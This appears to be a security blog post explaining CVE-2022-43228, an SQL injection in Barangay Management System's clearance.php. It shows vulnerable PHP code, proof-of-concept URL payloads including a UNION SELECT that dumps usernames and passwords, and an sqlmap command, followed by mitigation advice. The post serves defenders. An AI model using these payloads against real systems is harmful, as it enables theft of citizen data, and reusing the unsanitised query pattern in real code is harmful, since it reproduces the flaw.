Barangay Management System v1. is a web application used by local municipalities in some countries to manage citizen records, issue clearances, and handle administrative tasks. In 2022, researchers uncovered a serious security flaw—CVE-2022-43228—that allows attackers to perform SQL injection attacks via the hidden_id parameter in the /clearance/clearance.php script. That's a technical way of saying anyone could steal or tamper with sensitive data in the database, just by crafting a sneaky web request.
In this long read, we’ll break down this vulnerability, demo how it works, and share mitigation tips. This post is exclusive and simplifies complex parts for easy understanding.
What is SQL Injection?
SQL Injection (SQLi) is an old but gold trick used by attackers. If a web app doesn’t correctly validate input, an attacker can inject malicious SQL code into fields or URLs and make the database do things it’s not supposed to—like leaking passwords, deleting records, or even creating a new admin account.
The Parameter: hidden_id
The Barangay Management System v1.’s /clearance/clearance.php script takes a GET or POST parameter called hidden_id. It’s supposed to be a harmless numeric identifier, but it’s embedded straight into SQL without any kind of escape or validation.
Vulnerable URL Example
http://your-brgy-site/clearance/clearance.php?hidden_id=123
By swapping 123 for something malicious, an attacker can tamper with SQL queries running on the server.
Below is a simplified version of what the vulnerable PHP code might look like
<?php
// Example of the vulnerable code
include('db_connect.php');
$hidden_id = $_GET['hidden_id']; // No validation or sanitization
$sql = "SELECT * FROM clearances WHERE id = $hidden_id";
$result = mysqli_query($conn, $sql);
// ...process results...
?>
Notice how $hidden_id gets injected directly into the query! Any special input will be interpreted as part of the SQL command.
How to Exploit (Proof-of-Concept)
Here’s the simplest form of SQL Injection using the hidden_id parameter. An attacker modifies the URL like this:
http://your-brgy-site/clearance/clearance.php?hidden_id=1%20OR%201=1
- The final SQL run by the server
SELECT * FROM clearances WHERE id = 1 OR 1=1
Suppose the server displays sensitive fields straight away. An attacker could try
http://your-brgy-site/clearance/clearance.php?hidden_id=%20UNION%20SELECT%201,username,password,4%20FROM%20users--
An attacker could even automate discovery or data dumping with sqlmap
sqlmap -u "http://your-brgy-site/clearance/clearance.php?hidden_id=1"; --dbs
This command tries various payloads and lists available databases.
Original References
- NVD Entry for CVE-2022-43228
- Exploit-DB Entry 51599
Change vulnerable code to
$stmt = $conn->prepare("SELECT * FROM clearances WHERE id = ?");
$stmt->bind_param("i", $_GET['hidden_id']);
$stmt->execute();
Prepared statements make sure user input is treated as a value, not as part of the SQL command.
2. Validate Input
Never trust user input. Make sure hidden_id is always a number.
$hidden_id = (int) $_GET['hidden_id'];
3. Least Privilege
The database account used by the app should have the minimum privileges required—so even if compromised, the damage is limited.
Summary Table
| Vulnerability | CVE-2022-43228 (SQL Injection) |
|-------------------------|------------------------------------------------------|
| Product | Barangay Management System v1. |
| Parameter Affected | hidden_id in /clearance/clearance.php |
| Exploit Impact | Data exposure, manipulation, admin creation, RCE |
| Fix | Prepared statements, validation, least privilege |
| References | NVD / ExploitDB |
Final Thoughts
CVE-2022-43228 wasn’t just another bug: it’s a wakeup call on how important secure coding is—especially for apps handling citizen and government records. If your system is impacted, fix it immediately and audit for other similar oversights.
Stay safe, and always validate your inputs! For more security tips and exclusive guides, keep following this blog.
Timeline
Published on: 10/28/2022 18:15:00 UTC
Last modified on: 10/28/2022 19:47:00 UTC